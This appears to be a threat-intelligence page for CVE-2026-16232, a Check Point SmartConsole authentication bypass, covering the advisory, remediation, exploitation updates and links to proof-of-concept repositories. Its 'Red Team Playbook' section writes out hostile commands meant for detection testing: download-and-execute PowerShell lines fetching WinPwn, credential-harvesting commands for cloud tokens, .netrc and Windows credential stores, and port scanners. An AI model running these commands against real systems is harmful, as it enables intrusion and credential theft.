CVE-2026-16232
Overview
This vulnerability is an authentication bypass affecting the Check Point SmartConsole login process within the Quantum Security Management product. The root cause lies in improper validation of authentication tokens during the login sequence, allowing an unauthenticated attacker to retrieve a valid application login token. The flaw specifically impacts the authentication mechanism of the Management Server component when Trusted Clients restrictions are not enforced.
Vulnerability Description
An authentication bypass vulnerability in the Check Point SmartConsole login process allows an unauthenticated remote attacker to obtain an application login token and use it to authenticate with full administrative privileges. Successful exploitation allows the attacker to modify security policies and security configurations. Remote exploitation requires internet access to the Management Server IP address and a configuration that does not restrict Trusted Clients. Check Point is aware that this vulnerability is being exploited and has affected a very small number of customers.
Impact
An attacker with network access to the Management Server can obtain a valid administrative login token without credentials, enabling full control over security policies and configurations. This unauthorized access allows modification of firewall rules, security settings, and potentially disrupts organizational network defenses. The attack requires no authentication or user interaction but depends on the Management Server being reachable and Trusted Clients restrictions being disabled. This leads to a complete compromise of security management capabilities and potential lateral movement within the environment.
Solution
Check Point has released a security advisory (SK185169) addressing this issue in Quantum Security Management. Administrators should apply the updates provided in this advisory to affected versions immediately. The advisory includes detailed patch instructions and configuration recommendations to restrict Trusted Clients access. Refer to https://support.checkpoint.com/results/sk/sk185169 for official remediation steps and version-specific fixes.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The authentication bypass vulnerability in the Check Point SmartConsole login process represents a critical security flaw that allows unauthorized access to administrative functionalities. This vulnerability arises from insufficient validation mechanisms during the login process, enabling an unauthenticated remote attacker to acquire a valid application login token. Once this token is obtained, the attacker can authenticate as an administrator, gaining full control over the management interface. This flaw is particularly concerning given the potential for altering security policies and configurations, which could lead to widespread exploitation of the affected systems.
Exploitation of this vulnerability can occur through various attack vectors, primarily targeting systems that do not adequately restrict access to the Management Server IP address. An attacker with internet access can leverage this weakness to bypass authentication entirely. Scenarios may include targeted attacks against organizations that have misconfigured their security settings, allowing for remote access without proper safeguards. The lack of restrictions on Trusted Clients further exacerbates the issue, as it opens the door for attackers to exploit the vulnerability without needing to be on a trusted network. This ease of access makes the vulnerability particularly attractive to malicious actors seeking to compromise sensitive environments.
The real-world impact of this vulnerability is significant, posing severe risks to businesses that rely on Check Point's security solutions. Successful exploitation can lead to unauthorized changes in security configurations, potentially allowing attackers to disable security measures, exfiltrate sensitive data, or even deploy malware within the network. The implications of such actions can be catastrophic, resulting in financial losses, reputational damage, and regulatory penalties. Although reports indicate that the exploitation has affected a limited number of customers, the potential for widespread damage remains, particularly if the vulnerability is not addressed promptly.
To detect and mitigate this vulnerability, organizations should implement several strategies. First, regular security assessments and penetration testing can help identify misconfigurations and weaknesses in the authentication process. Monitoring logs for unusual access patterns or unauthorized attempts to access the management interface can also provide early warning signs of exploitation attempts. Additionally, organizations should ensure that their configurations restrict access to the Management Server IP address and enforce strict authentication protocols. Applying security patches and updates provided by Check Point is crucial to closing this vulnerability and protecting against potential attacks.
In conclusion, the authentication bypass vulnerability in Check Point SmartConsole highlights the critical importance of robust authentication mechanisms in cybersecurity. The ability for an attacker to gain administrative access without proper validation poses a severe threat to organizational security. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves to defend against such vulnerabilities. Proactive detection and mitigation strategies are essential to safeguarding sensitive environments and maintaining the integrity of security policies.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2026-16232, highlighted by the emergence of a publicly available proof-of-concept exploit hosted on GitHub. This development significantly lowers the barrier to exploitation by enabling a wider range of threat actors to attempt unauthorized access to Check Point Quantum Security Management environments. Our telemetry indicates a notable surge in attempts to leverage this vulnerability, coinciding with the addition of CVE-2026-16232 to the CISA Known Exploited Vulnerabilities (KEV) catalog, which underscores its prioritization for remediation across critical infrastructure sectors. The CVSS score adjustment to 9.1 reflects the critical severity and potential for full administrative compromise, elevating the overall threat posture. Although ransomware usage linked to this vulnerability remains unconfirmed, the availability of exploitation tools and increased detection frequency suggest an expanding attack surface that defenders must urgently monitor. This evolution in the exploit landscape intensifies the risk to organizations relying on Check Point’s management solutions, as successful exploitation can lead to unauthorized policy manipulation and broader network compromise.
Update 2 — August 15, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2026-16232, accompanied by the emergence of multiple new proof-of-concept exploits publicly available on prominent code-sharing platforms. This surge is reflected in a significant increase in telemetry alerts and the vulnerability’s EPSS score rising sharply into the upper percentile, indicating a growing likelihood of successful exploitation in the wild. The expanded exploit landscape now includes automated scanning tools designed to identify misconfigurations related to this vulnerability, broadening the attack surface for opportunistic threat actors. Although ransomware usage linked to this vulnerability remains unconfirmed, the rapid proliferation of exploitation resources and the sharp uptick in detection activity underscore an elevated risk posture. For defenders, this means that the window for proactive detection and response is narrowing as adversaries gain easier access to effective exploitation methods. Consequently, the threat level associated with CVE-2026-16232 has intensified, warranting heightened vigilance and prioritization within security operations.
Affected Products (122)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Checkpoint | Multi-Domain Security Management | All |
cpe:2.3:a:checkpoint:multi-domain_security_management:*:*:*:*:*:*:*:*
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Checkpoint | Multi-Domain Security Management | r81.20 |
cpe:2.3:a:checkpoint:multi-domain_security_management:r81.20:-:*:*:*:*:*:*
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Checkpoint | Multi-Domain Security Management | r81.20 |
cpe:2.3:a:checkpoint:multi-domain_security_management:r81.20:take_101:*:*:*:*:*:*
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Checkpoint | Multi-Domain Security Management | r81.20 |
cpe:2.3:a:checkpoint:multi-domain_security_management:r81.20:take_103:*:*:*:*:*:*
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Checkpoint | Multi-Domain Security Management | r81.20 |
cpe:2.3:a:checkpoint:multi-domain_security_management:r81.20:take_105:*:*:*:*:*:*
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Checkpoint | Multi-Domain Security Management | r81.20 |
cpe:2.3:a:checkpoint:multi-domain_security_management:r81.20:take_10:*:*:*:*:*:*
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Checkpoint | Multi-Domain Security Management | r81.20 |
cpe:2.3:a:checkpoint:multi-domain_security_management:r81.20:take_111:*:*:*:*:*:*
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Checkpoint | Multi-Domain Security Management | r81.20 |
cpe:2.3:a:checkpoint:multi-domain_security_management:r81.20:take_113:*:*:*:*:*:*
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Checkpoint | Multi-Domain Security Management | r81.20 |
cpe:2.3:a:checkpoint:multi-domain_security_management:r81.20:take_115:*:*:*:*:*:*
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Checkpoint | Multi-Domain Security Management | r81.20 |
cpe:2.3:a:checkpoint:multi-domain_security_management:r81.20:take_118:*:*:*:*:*:*
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Checkpoint | Multi-Domain Security Management | r81.20 |
cpe:2.3:a:checkpoint:multi-domain_security_management:r81.20:take_119:*:*:*:*:*:*
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Checkpoint | Multi-Domain Security Management | r81.20 |
cpe:2.3:a:checkpoint:multi-domain_security_management:r81.20:take_120:*:*:*:*:*:*
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Checkpoint | Multi-Domain Security Management | r81.20 |
cpe:2.3:a:checkpoint:multi-domain_security_management:r81.20:take_122:*:*:*:*:*:*
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Checkpoint | Multi-Domain Security Management | r81.20 |
cpe:2.3:a:checkpoint:multi-domain_security_management:r81.20:take_126:*:*:*:*:*:*
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Checkpoint | Multi-Domain Security Management | r81.20 |
cpe:2.3:a:checkpoint:multi-domain_security_management:r81.20:take_127:*:*:*:*:*:*
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Checkpoint | Multi-Domain Security Management | r81.20 |
cpe:2.3:a:checkpoint:multi-domain_security_management:r81.20:take_141:*:*:*:*:*:*
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Checkpoint | Multi-Domain Security Management | r81.20 |
cpe:2.3:a:checkpoint:multi-domain_security_management:r81.20:take_146:*:*:*:*:*:*
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Checkpoint | Multi-Domain Security Management | r81.20 |
cpe:2.3:a:checkpoint:multi-domain_security_management:r81.20:take_14:*:*:*:*:*:*
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Checkpoint | Multi-Domain Security Management | r81.20 |
cpe:2.3:a:checkpoint:multi-domain_security_management:r81.20:take_24:*:*:*:*:*:*
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Checkpoint | Multi-Domain Security Management | r81.20 |
cpe:2.3:a:checkpoint:multi-domain_security_management:r81.20:take_26:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (4)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
sfewer-r7/CVE-2026-16232
A proof-of-concept script to exploit CVE-2026-16232, an authentication bypass via the SmartConsole login process using a...
|
sfewer-r7 | 11 | 7 | 2026-07-28 | View |
|
HackSpeak/CVE-2026-16232
CVE-2026-16232 (Check Point SmartConsole authentication bypass) PoC - unauth to admin; for authorized security testing
|
HackSpeak | 2 | 1 | 2026-08-03 | View |
|
HackSpeak/checkpoint-smartconsole-poc
CVE-2026-16232 (Check Point SmartConsole authentication bypass) PoC - unauth to admin; for authorized security testing
|
HackSpeak | 2 | 1 | 2026-08-03 | View |
|
WadesWeaponShed/Check-Point-Trusted-Access-Review
Local web app for conducting a Check Point Trusted Access Review. This scanner is built specifically to look for configu...
|
WadesWeaponShed | 0 | 0 | 2026-07-22 | View |
Threat Feed
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CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-16232 |
| support.checkpoint.com |
GitHub CVE
|
https://support.checkpoint.com/results/sk/sk185169 |
| cisa.gov |
NVD API
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-16232 |